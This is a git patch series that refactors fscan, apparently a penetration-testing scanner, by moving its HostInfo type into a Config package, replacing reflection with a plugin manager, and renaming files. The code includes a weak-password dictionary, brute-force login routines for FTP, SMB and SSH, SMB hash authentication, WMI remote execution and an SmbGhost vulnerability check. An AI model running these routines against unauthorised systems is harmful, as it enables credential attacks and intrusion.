realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) diff --git a/Plugins/scanner.go b/Plugins/scanner.go index 50da4a2..4c7cff6 100644 --- a/Plugins/scanner.go +++ b/Plugins/scanner.go @@ -2,22 +2,22 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/WebScan/lib" "github.com/shadow1ng/fscan/common" - "reflect" "strconv" "strings" "sync" ) -func Scan(info common.HostInfo) { +func Scan(info Config.HostInfo) { fmt.Println("[*] 开始信息扫描...") // 本地信息收集模块 if common.Scantype == "localinfo" { ch := make(chan struct{}, common.Threads) wg := sync.WaitGroup{} - AddScan("1000006", info, &ch, &wg) + AddScan("localinfo", info, &ch, &wg) wg.Wait() common.LogWG.Wait() close(common.Results) @@ -36,9 +36,7 @@ func Scan(info common.HostInfo) { lib.Inithttp() ch := make(chan struct{}, common.Threads) wg := sync.WaitGroup{} - web := strconv.Itoa(common.PORTList["web"]) - ms17010 := strconv.Itoa(common.PORTList["ms17010"]) - var AlivePorts, severports []string + var AlivePorts []string if len(Hosts) > 0 || len(common.HostPort) > 0 { // ICMP存活性检测 @@ -52,22 +50,7 @@ func Scan(info common.HostInfo) { } // 端口扫描策略 - switch common.Scantype { - case "webonly", "webpoc": - AlivePorts = NoPortScan(Hosts, common.Ports) - case "hostname": - common.Ports = "139" - AlivePorts = NoPortScan(Hosts, common.Ports) - default: - if len(Hosts) > 0 { - AlivePorts = PortScan(Hosts, common.Ports, common.Timeout) - fmt.Printf("[+] 存活端口数量: %d\n", len(AlivePorts)) - if common.Scantype == "portscan" { - common.LogWG.Wait() - return - } - } - } + AlivePorts = executeScanStrategy(Hosts, common.Scantype) // 处理自定义端口 if len(common.HostPort) > 0 { @@ -77,12 +60,7 @@ func Scan(info common.HostInfo) { fmt.Printf("[+] 总计存活端口: %d\n", len(AlivePorts)) } - // 构建服务端口列表 - for _, port := range common.PORTList { - severports = append(severports, strconv.Itoa(port)) - } - - // 开始漏洞扫描 + // 执行扫描任务 fmt.Println("[*] 开始漏洞扫描...") for _, targetIP := range AlivePorts { hostParts := strings.Split(targetIP, ":") @@ -92,34 +70,14 @@ func Scan(info common.HostInfo) { } info.Host, info.Ports = hostParts[0], hostParts[1] - if common.Scantype == "all" || common.Scantype == "main" { - switch { - case info.Ports == "135": - AddScan(info.Ports, info, &ch, &wg) - if common.IsWmi { - AddScan("1000005", info, &ch, &wg) - } - case info.Ports == "445": - AddScan(ms17010, info, &ch, &wg) - case info.Ports == "9000": - AddScan(web, info, &ch, &wg) - AddScan(info.Ports, info, &ch, &wg) - case IsContain(severports, info.Ports): - AddScan(info.Ports, info, &ch, &wg) - default: - AddScan(web, info, &ch, &wg) - } - } else { - scantype := strconv.Itoa(common.PORTList[common.Scantype]) - AddScan(scantype, info, &ch, &wg) - } + executeScanTasks(info, common.Scantype, &ch, &wg) } } // URL扫描 for _, url := range common.Urls { info.Url = url - AddScan(web, info, &ch, &wg) + AddScan("web", info, &ch, &wg) } // 等待所有任务完成 @@ -129,11 +87,65 @@ func Scan(info common.HostInfo) { fmt.Printf("[✓] 扫描已完成: %v/%v\n", common.End, common.Num) } +// executeScanStrategy 执行端口扫描策略 +func executeScanStrategy(Hosts []string, scanType string) []string { + switch scanType { + case "webonly", "webpoc": + return NoPortScan(Hosts, common.Ports) + case "hostname": + common.Ports = "139" + return NoPortScan(Hosts, common.Ports) + default: + if len(Hosts) > 0 { + ports := PortScan(Hosts, common.Ports, common.Timeout) + fmt.Printf("[+] 存活端口数量: %d\n", len(ports)) + if scanType == "portscan" { + common.LogWG.Wait() + return nil + } + return ports + } + } + return nil +} + +// executeScanTasks 执行扫描任务 +func executeScanTasks(info Config.HostInfo, scanType string, ch *chan struct{}, wg *sync.WaitGroup) { + if scanType == "all" || scanType == "main" { + // 根据端口选择扫描插件 + switch info.Ports { + case "135": + AddScan("findnet", info, ch, wg) + if common.IsWmi { + AddScan("wmiexec", info, ch, wg) + } + case "445": + AddScan("ms17010", info, ch, wg) + case "9000": + AddScan("web", info, ch, wg) + AddScan("fcgi", info, ch, wg) + default: + // 查找对应端口的插件 + for name, plugin := range Config.PluginManager { + if strconv.Itoa(plugin.Port) == info.Ports { + AddScan(name, info, ch, wg) + return + } + } + // 默认执行Web扫描 + AddScan("web", info, ch, wg) + } + } else { + // 直接使用指定的扫描类型 + AddScan(scanType, info, ch, wg) + } +} + // Mutex用于保护共享资源的并发访问 var Mutex = &sync.Mutex{} // AddScan 添加扫描任务到并发队列 -func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { +func AddScan(scantype string, info Config.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { // 获取信号量,控制并发数 *ch <- struct{}{} // 添加等待组计数 @@ -161,20 +173,25 @@ func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync. }() } -// ScanFunc 通过反射调用对应的扫描插件 -func ScanFunc(name *string, info *common.HostInfo) { - // 异常恢复处理 +// ScanFunc 执行扫描插件 +func ScanFunc(name *string, info *Config.HostInfo) { defer func() { if err := recover(); err != nil { fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) } }() - // 通过反射获取插件函数 - f := reflect.ValueOf(PluginList[*name]) - // 构造参数并调用插件函数 - in := []reflect.Value{reflect.ValueOf(info)} - f.Call(in) + // 检查插件是否存在 + plugin, exists := Config.PluginManager[*name] + if !exists { + fmt.Printf("[*] 扫描类型 %v 无对应插件,已跳过\n", *name) + return + } + + // 直接调用扫描函数 + if err := plugin.ScanFunc(info); err != nil { + fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) + } } // IsContain 检查切片中是否包含指定元素 diff --git a/Plugins/smb.go b/Plugins/smb.go index 14dcc60..138aef2 100644 --- a/Plugins/smb.go +++ b/Plugins/smb.go @@ -3,6 +3,7 @@ package Plugins import ( "errors" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "github.com/stacktitan/smb/smb" "strings" @@ -10,7 +11,7 @@ import ( ) // SmbScan 执行SMB服务的认证扫描 -func SmbScan(info *common.HostInfo) (tmperr error) { +func SmbScan(info *Config.HostInfo) (tmperr error) { // 如果未启用暴力破解则直接返回 if common.IsBrute { return nil @@ -64,7 +65,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) { } // SmblConn 尝试建立SMB连接并进行认证 -func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { +func SmblConn(info *Config.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { flag = false // 配置SMB连接选项 @@ -92,7 +93,7 @@ func SmblConn(info *common.HostInfo, user string, pass string, signal chan struc } // doWithTimeOut 执行带超时的SMB连接认证 -func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func doWithTimeOut(info *Config.HostInfo, user string, pass string) (flag bool, err error) { signal := make(chan struct{}) // 在goroutine中执行SMB连接 diff --git a/Plugins/smb2.go b/Plugins/smb2.go index ae2c2e8..eadf67d 100644 --- a/Plugins/smb2.go +++ b/Plugins/smb2.go @@ -2,6 +2,7 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "net" "os" @@ -12,7 +13,7 @@ import ( ) // SmbScan2 执行SMB2服务的认证扫描,支持密码和哈希两种认证方式 -func SmbScan2(info *common.HostInfo) (tmperr error) { +func SmbScan2(info *Config.HostInfo) (tmperr error) { // 如果未启用暴力破解则直接返回 if common.IsBrute { return nil @@ -31,7 +32,7 @@ func SmbScan2(info *common.HostInfo) (tmperr error) { } // smbHashScan 使用哈希进行认证扫描 -func smbHashScan(info *common.HostInfo, hasprint bool, startTime int64) error { +func smbHashScan(info *Config.HostInfo, hasprint bool, startTime int64) error { for _, user := range common.Userdict["smb"] { for _, hash := range common.HashBytes { success, err, printed := Smb2Con(info, user, "", hash, hasprint) @@ -59,7 +60,7 @@ func smbHashScan(info *common.HostInfo, hasprint bool, startTime int64) error { } // smbPasswordScan 使用密码进行认证扫描 -func smbPasswordScan(info *common.HostInfo, hasprint bool, startTime int64) error { +func smbPasswordScan(info *Config.HostInfo, hasprint bool, startTime int64) error { for _, user := range common.Userdict["smb"] { for _, pass := range common.Passwords { pass = strings.ReplaceAll(pass, "{user}", user) @@ -88,7 +89,7 @@ func smbPasswordScan(info *common.HostInfo, hasprint bool, startTime int64) erro } // logSuccessfulAuth 记录成功的认证 -func logSuccessfulAuth(info *common.HostInfo, user, pass string, hash []byte) { +func logSuccessfulAuth(info *Config.HostInfo, user, pass string, hash []byte) { var result string if common.Domain != "" { result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v Domain:%v\\%v ", @@ -107,7 +108,7 @@ func logSuccessfulAuth(info *common.HostInfo, user, pass string, hash []byte) { } // logFailedAuth 记录失败的认证 -func logFailedAuth(info *common.HostInfo, user, pass string, hash []byte, err error) { +func logFailedAuth(info *Config.HostInfo, user, pass string, hash []byte, err error) { var errlog string if len(hash) > 0 { errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Hash:%v Err:%v", @@ -134,7 +135,7 @@ func shouldStopScan(err error, startTime int64, totalAttempts int) bool { } // Smb2Con 尝试SMB2连接并进行认证,检查共享访问权限 -func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) { +func Smb2Con(info *Config.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) { // 建立TCP连接 conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:445", info.Host), time.Duration(common.Timeout)*time.Second) @@ -197,7 +198,7 @@ func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, haspr } // logShareInfo 记录SMB共享信息 -func logShareInfo(info *common.HostInfo, user string, pass string, hash []byte, shares []string) { +func logShareInfo(info *Config.HostInfo, user string, pass string, hash []byte, shares []string) { var result string // 构建基础信息 diff --git a/Plugins/ssh.go b/Plugins/ssh.go index c46139d..d1a5d09 100644 --- a/Plugins/ssh.go +++ b/Plugins/ssh.go @@ -2,6 +2,7 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "golang.org/x/crypto/ssh" "io/ioutil" @@ -11,7 +12,7 @@ import ( ) // SshScan 执行SSH服务的认证扫描 -func SshScan(info *common.HostInfo) (tmperr error) { +func SshScan(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return } @@ -56,7 +57,7 @@ func SshScan(info *common.HostInfo) (tmperr error) { } // SshConn 尝试建立SSH连接并进行认证 -func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func SshConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { // 准备认证方法 var auth []ssh.AuthMethod if common.SshKey != "" { diff --git a/Plugins/webtitle.go b/Plugins/webtitle.go index 49f2c48..d04bc84 100644 --- a/Plugins/webtitle.go +++ b/Plugins/webtitle.go @@ -4,6 +4,7 @@ import ( "compress/gzip" "crypto/tls" "fmt" + "github.com/shadow1ng/fscan/Config" "io" "net/http" "net/url" @@ -18,7 +19,7 @@ import ( "golang.org/x/text/encoding/simplifiedchinese" ) -func WebTitle(info *common.HostInfo) error { +func WebTitle(info *Config.HostInfo) error { if common.Scantype == "webpoc" { WebScan.WebScan(info) return nil @@ -39,7 +40,7 @@ func WebTitle(info *common.HostInfo) error { } return err } -func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckDatas) { +func GOWebTitle(info *Config.HostInfo) (err error, CheckData []WebScan.CheckDatas) { if info.Url == "" { switch info.Ports { case "80": @@ -93,7 +94,7 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData return } -func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) { +func geturl(info *Config.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) { //flag 1 first try //flag 2 /favicon.ico //flag 3 302 diff --git a/Plugins/wmiexec.go b/Plugins/wmiexec.go index 81421b0..bd230e2 100644 --- a/Plugins/wmiexec.go +++ b/Plugins/wmiexec.go @@ -3,6 +3,7 @@ package Plugins import ( "errors" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "os" "strings" @@ -26,7 +27,7 @@ func init() { flag = true } -func WmiExec(info *common.HostInfo) (tmperr error) { +func WmiExec(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return nil } @@ -70,7 +71,7 @@ func WmiExec(info *common.HostInfo) (tmperr error) { return tmperr } -func Wmiexec(info *common.HostInfo, user string, pass string, hash string) (flag bool, err error) { +func Wmiexec(info *Config.HostInfo, user string, pass string, hash string) (flag bool, err error) { target := fmt.Sprintf("%s:%v", info.Host, info.Ports) wmiexec.Timeout = int(common.Timeout) return WMIExec(target, user, pass, hash, common.Domain, common.Command, ClientHost, "", nil) diff --git a/WebScan/WebScan.go b/WebScan/WebScan.go index 44e88f2..a2e3ca3 100644 --- a/WebScan/WebScan.go +++ b/WebScan/WebScan.go @@ -3,6 +3,7 @@ package WebScan import ( "embed" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/WebScan/lib" "github.com/shadow1ng/fscan/common" "net/http" @@ -17,7 +18,7 @@ var Pocs embed.FS var once sync.Once var AllPocs []*lib.Poc -func WebScan(info *common.HostInfo) { +func WebScan(info *Config.HostInfo) { once.Do(initpoc) var pocinfo = common.Pocinfo buf := strings.Split(info.Url, "/") diff --git a/common/Parse.go b/common/Parse.go index e264869..6151691 100644 --- a/common/Parse.go +++ b/common/Parse.go @@ -5,13 +5,14 @@ import ( "encoding/hex" "flag" "fmt" + "github.com/shadow1ng/fscan/Config" "net/url" "os" "strconv" "strings" ) -func Parse(Info *HostInfo) { +func Parse(Info *Config.HostInfo) { ParseUser() ParsePass(Info) ParseInput(Info) @@ -44,7 +45,7 @@ func ParseUser() { } } -func ParsePass(Info *HostInfo) { +func ParsePass(Info *Config.HostInfo) { var PwdList []string if Password != "" { passs := strings.Split(Password, ",") @@ -140,7 +141,7 @@ func Readfile(filename string) ([]string, error) { return content, nil } -func ParseInput(Info *HostInfo) { +func ParseInput(Info *Config.HostInfo) { if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" { fmt.Println("Host is none") flag.Usage() @@ -235,49 +236,74 @@ func ParseInput(Info *HostInfo) { Hashs = []string{} } -func ParseScantype(Info *HostInfo) { - if _, validType := PORTList[Scantype]; !validType { - showmode() - return +// ParseScantype 解析扫描类型并设置对应的端口 +func ParseScantype(Info *Config.HostInfo) error { + // 先处理特殊扫描类型 + specialTypes := map[string]string{ + "hostname": "135,137,139,445", + "webonly": Webport, + "webpoc": Webport, + "web": Webport, + "portscan": DefaultPorts + "," + Webport, + "main": DefaultPorts, + "all": DefaultPorts + "," + Webport, + "icmp": "", // ICMP不需要端口 } - if Scantype != "all" && Ports == DefaultPorts+","+Webport { - switch Scantype { - case "hostname": - Ports = "135,137,139,445" - case "web", "webonly", "webpoc": - Ports = Webport - case "portscan": - Ports = DefaultPorts + "," + Webport - case "main": - Ports = DefaultPorts - default: - if port := PORTList[Scantype]; port > 0 { - Ports = strconv.Itoa(port) - } + // 如果是特殊扫描类型 + if customPorts, isSpecial := specialTypes[Scantype]; isSpecial { + if Scantype != "all" && Ports == DefaultPorts+","+Webport { + Ports = customPorts } - - fmt.Printf("[*] Scan type: %s, target ports: %s\n", Scantype, Ports) + fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", Scantype, Ports) + return nil } + + // 检查是否是注册的插件类型 + plugin, validType := Config.PluginManager[Scantype] + if !validType { + showmode() + return fmt.Errorf("无效的扫描类型: %s", Scantype) + } + + // 如果是插件扫描且使用默认端口配置 + if Ports == DefaultPorts+","+Webport { + if plugin.Port > 0 { + Ports = strconv.Itoa(plugin.Port) + } + fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", plugin.Name, Ports) + } + + return nil } -//func CheckErr(text string, err error, flag bool) { -// if err != nil { -// fmt.Println("Parse", text, "error: ", err.Error()) -// if flag { -// if err != ParseIPErr { -// fmt.Println(ParseIPErr) -// } -// os.Exit(0) -// } -// } -//} - +// showmode 显示所有支持的扫描类型 func showmode() { - fmt.Println("The specified scan type does not exist") - fmt.Println("-m") - for name := range PORTList { - fmt.Println(" [" + name + "]") + fmt.Println("[!] 指定的扫描类型不存在") + fmt.Println("[*] 支持的扫描类型:") + + // 显示常规服务扫描类型 + fmt.Println("\n[+] 常规服务扫描:") + for name, plugin := range Config.PluginManager { + if plugin.Port > 0 && plugin.Port < 1000000 { + fmt.Printf(" - %-10s (端口: %d)\n", name, plugin.Port) + } } + + // 显示特殊漏洞扫描类型 + fmt.Println("\n[+] 特殊漏洞扫描:") + for name, plugin := range Config.PluginManager { + if plugin.Port >= 1000000 || plugin.Port == 0 { + fmt.Printf(" - %-10s\n", name) + } + } + + // 显示其他扫描类型 + fmt.Println("\n[+] 其他扫描类型:") + specialTypes := []string{"all", "portscan", "icmp", "main", "webonly", "webpoc"} + for _, name := range specialTypes { + fmt.Printf(" - %s\n", name) + } + os.Exit(0) } diff --git a/common/config.go b/common/config.go index 8b67a19..4bc2e69 100644 --- a/common/config.go +++ b/common/config.go @@ -14,44 +14,6 @@ var Userdict = map[string][]string{ } var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"} -var PORTList = map[string]int{ - // 常规服务端口 - "ftp": 21, - "ssh": 22, - "findnet": 135, - "netbios": 139, - "smb": 445, - "mssql": 1433, - "oracle": 1521, - "mysql": 3306, - "rdp": 3389, - "psql": 5432, - "redis": 6379, - "fcgi": 9000, - "mem": 11211, - "mgo": 27017, - - // 特定端口的扫描类型 - "wmiexec": 135, - "wmiinfo": 135, - "smbinfo": 445, - "smb2": 445, - "ms17010": 445, - "cve20200796": 445, - - // Web相关 - "web": 0, // 使用Webport - "webonly": 0, // 使用Webport - "webpoc": 0, // 使用Webport - - // 特殊扫描类型 - "hostname": 0, // 使用135,137,139,445 - "all": 0, // 全部扫描 - "portscan": 0, // 使用DefaultPorts + Webport - "icmp": 0, // ICMP检测 - "main": 0, // 使用DefaultPorts - "localinfo": 0, // 本地信息收集 -} var PortGroup = map[string]string{ "ftp": "21", @@ -81,13 +43,6 @@ var IsSave = true var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017" -type HostInfo struct { - Host string - Ports string - Url string - Infostr []string -} - type PocInfo struct { Target string PocName string diff --git a/common/flag.go b/common/flag.go index 571f8d4..972903d 100644 --- a/common/flag.go +++ b/common/flag.go @@ -2,6 +2,7 @@ package common import ( "flag" + "github.com/shadow1ng/fscan/Config" ) func Banner() { @@ -16,7 +17,7 @@ func Banner() { print(banner) } -func Flag(Info *HostInfo) { +func Flag(Info *Config.HostInfo) { Banner() flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24") diff --git a/main.go b/main.go index 64b229d..680866d 100644 --- a/main.go +++ b/main.go @@ -2,6 +2,7 @@ package main import ( "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/Plugins" "github.com/shadow1ng/fscan/common" "time" @@ -9,7 +10,7 @@ import ( func main() { start := time.Now() - var Info common.HostInfo + var Info Config.HostInfo common.Flag(&Info) common.Parse(&Info) Plugins.Scan(Info) From 5d9bcaaadc131fb5452818b24970523c53cb850a Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 22:00:18 +0800 Subject: [PATCH 010/188] =?UTF-8?q?refactor:=20=E8=A7=84=E8=8C=83=E5=8C=96?= =?UTF-8?q?=E6=96=87=E4=BB=B6=E5=91=BD=E5=90=8D?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- {common => Common}/Parse.go | 2 +- {common => Common}/ParseIP.go | 2 +- {common => Common}/ParsePort.go | 2 +- Plugins/CVE-2020-0796.go | 10 ++-- Plugins/{ftp.go => FTP.go} | 22 ++++---- Plugins/{findnet.go => FindNet.go} | 8 +-- Plugins/{icmp.go => ICMP.go} | 16 +++--- Plugins/{localinfo.go => LocalInfo.go} | 8 +-- Plugins/{ms17010-exp.go => MS17010-Exp.go} | 20 +++---- Plugins/{ms17010.go => MS17010.go} | 18 +++---- Plugins/{mssql.go => MSSQL.go} | 22 ++++---- Plugins/{memcached.go => Memcached.go} | 10 ++-- Plugins/{mongodb.go => Mongodb.go} | 12 ++--- Plugins/{mysql.go => MySQL.go} | 22 ++++---- Plugins/NetBIOS.go | 12 ++--- Plugins/{oracle.go => Oracle.go} | 20 +++---- Plugins/{portscan.go => PortScan.go} | 16 +++--- Plugins/{postgres.go => Postgres.go} | 18 +++---- Plugins/{rdp.go => RDP.go} | 20 +++---- Plugins/{redis.go => Redis.go} | 46 ++++++++-------- Plugins/{smb.go => SMB.go} | 24 ++++----- Plugins/{smb2.go => SMB2.go} | 50 ++++++++--------- Plugins/{ssh.go => SSH.go} | 38 ++++++------- Plugins/{scanner.go => Scanner.go} | 62 +++++++++++----------- Plugins/{wmiexec.go => WMIExec.go} | 32 +++++------ Plugins/{webtitle.go => WebTitle.go} | 30 +++++------ Plugins/fcgiscan.go | 22 ++++---- WebScan/InfoScan.go | 4 +- WebScan/WebScan.go | 24 ++++----- WebScan/info/{rules.go => Rules.go} | 14 ++--- WebScan/lib/{check.go => Check.go} | 16 +++--- WebScan/lib/{client.go => Client.go} | 18 +++---- WebScan/lib/{eval.go => Eval.go} | 6 +-- WebScan/lib/{shiro.go => Shiro.go} | 0 WebScan/pocs/ruoyi-management-fileread.yml | 4 +- WebScan/pocs/seeyon-a6-test-jsp-sql.yml | 2 +- WebScan/pocs/yonyou-u8-oa-sqli.yml | 2 +- common/config.go | 2 +- common/flag.go | 2 +- common/log.go | 2 +- common/proxy.go | 2 +- main.go | 6 +-- 42 files changed, 334 insertions(+), 334 deletions(-) rename {common => Common}/Parse.go (99%) rename {common => Common}/ParseIP.go (99%) rename {common => Common}/ParsePort.go (98%) rename Plugins/{ftp.go => FTP.go} (77%) rename Plugins/{findnet.go => FindNet.go} (91%) rename Plugins/{icmp.go => ICMP.go} (95%) rename Plugins/{localinfo.go => LocalInfo.go} (97%) rename Plugins/{ms17010-exp.go => MS17010-Exp.go} (98%) rename Plugins/{ms17010.go => MS17010.go} (94%) rename Plugins/{mssql.go => MSSQL.go} (68%) rename Plugins/{memcached.go => Memcached.go} (75%) rename Plugins/{mongodb.go => Mongodb.go} (90%) rename Plugins/{mysql.go => MySQL.go} (67%) rename Plugins/{oracle.go => Oracle.go} (69%) rename Plugins/{portscan.go => PortScan.go} (87%) rename Plugins/{postgres.go => Postgres.go} (72%) rename Plugins/{rdp.go => RDP.go} (89%) rename Plugins/{redis.go => Redis.go} (89%) rename Plugins/{smb.go => SMB.go} (81%) rename Plugins/{smb2.go => SMB2.go} (81%) rename Plugins/{ssh.go => SSH.go} (73%) rename Plugins/{scanner.go => Scanner.go} (75%) rename Plugins/{wmiexec.go => WMIExec.go} (75%) rename Plugins/{webtitle.go => WebTitle.go} (90%) rename WebScan/info/{rules.go => Rules.go} (98%) rename WebScan/lib/{check.go => Check.go} (97%) rename WebScan/lib/{client.go => Client.go} (94%) rename WebScan/lib/{eval.go => Eval.go} (99%) rename WebScan/lib/{shiro.go => Shiro.go} (100%) diff --git a/common/Parse.go b/Common/Parse.go similarity index 99% rename from common/Parse.go rename to Common/Parse.go index 6151691..127e19a 100644 --- a/common/Parse.go +++ b/Common/Parse.go @@ -1,4 +1,4 @@ -package common +package Common import ( "bufio" diff --git a/common/ParseIP.go b/Common/ParseIP.go similarity index 99% rename from common/ParseIP.go rename to Common/ParseIP.go index 66084be..316b319 100644 --- a/common/ParseIP.go +++ b/Common/ParseIP.go @@ -1,4 +1,4 @@ -package common +package Common import ( "bufio" diff --git a/common/ParsePort.go b/Common/ParsePort.go similarity index 98% rename from common/ParsePort.go rename to Common/ParsePort.go index 4ccac9e..cec40e8 100644 --- a/common/ParsePort.go +++ b/Common/ParsePort.go @@ -1,4 +1,4 @@ -package common +package Common import ( "strconv" diff --git a/Plugins/CVE-2020-0796.go b/Plugins/CVE-2020-0796.go index 2297d1b..c07331c 100644 --- a/Plugins/CVE-2020-0796.go +++ b/Plugins/CVE-2020-0796.go @@ -6,7 +6,7 @@ import ( "github.com/shadow1ng/fscan/Config" "time" - "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/Common" ) const ( @@ -96,7 +96,7 @@ const ( ) func SmbGhost(info *Config.HostInfo) error { - if common.IsBrute { + if Common.IsBrute { return nil } err := SmbGhostScan(info) @@ -104,9 +104,9 @@ func SmbGhost(info *Config.HostInfo) error { } func SmbGhostScan(info *Config.HostInfo) error { - ip, port, timeout := info.Host, 445, time.Duration(common.Timeout)*time.Second + ip, port, timeout := info.Host, 445, time.Duration(Common.Timeout)*time.Second addr := fmt.Sprintf("%s:%v", info.Host, port) - conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout) + conn, err := Common.WrapperTcpWithTimeout("tcp", addr, timeout) if err != nil { return err } @@ -123,7 +123,7 @@ func SmbGhostScan(info *Config.HostInfo) error { } if bytes.Contains(buff[:n], []byte("Public")) == true && len(buff[:n]) >= 76 && bytes.Equal(buff[72:74], []byte{0x11, 0x03}) && bytes.Equal(buff[74:76], []byte{0x02, 0x00}) { result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip) - common.LogSuccess(result) + Common.LogSuccess(result) } return err } diff --git a/Plugins/ftp.go b/Plugins/FTP.go similarity index 77% rename from Plugins/ftp.go rename to Plugins/FTP.go index 19d925c..b973458 100644 --- a/Plugins/ftp.go +++ b/Plugins/FTP.go @@ -3,14 +3,14 @@ package Plugins import ( "fmt" "github.com/jlaffaye/ftp" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" - "github.com/shadow1ng/fscan/common" "strings" "time" ) func FtpScan(info *Config.HostInfo) (tmperr error) { - if common.IsBrute { + if Common.IsBrute { return } starttime := time.Now().Unix() @@ -19,27 +19,27 @@ func FtpScan(info *Config.HostInfo) (tmperr error) { return err } else { errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err) - common.LogError(errlog) + Common.LogError(errlog) tmperr = err - if common.CheckErrs(err) { + if Common.CheckErrs(err) { return err } } - for _, user := range common.Userdict["ftp"] { - for _, pass := range common.Passwords { + for _, user := range Common.Userdict["ftp"] { + for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) flag, err := FtpConn(info, user, pass) if flag && err == nil { return err } else { errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - common.LogError(errlog) + Common.LogError(errlog) tmperr = err - if common.CheckErrs(err) { + if Common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * common.Timeout) { + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["ftp"])*len(Common.Passwords)) * Common.Timeout) { return err } } @@ -51,7 +51,7 @@ func FtpScan(info *Config.HostInfo) (tmperr error) { func FtpConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass - 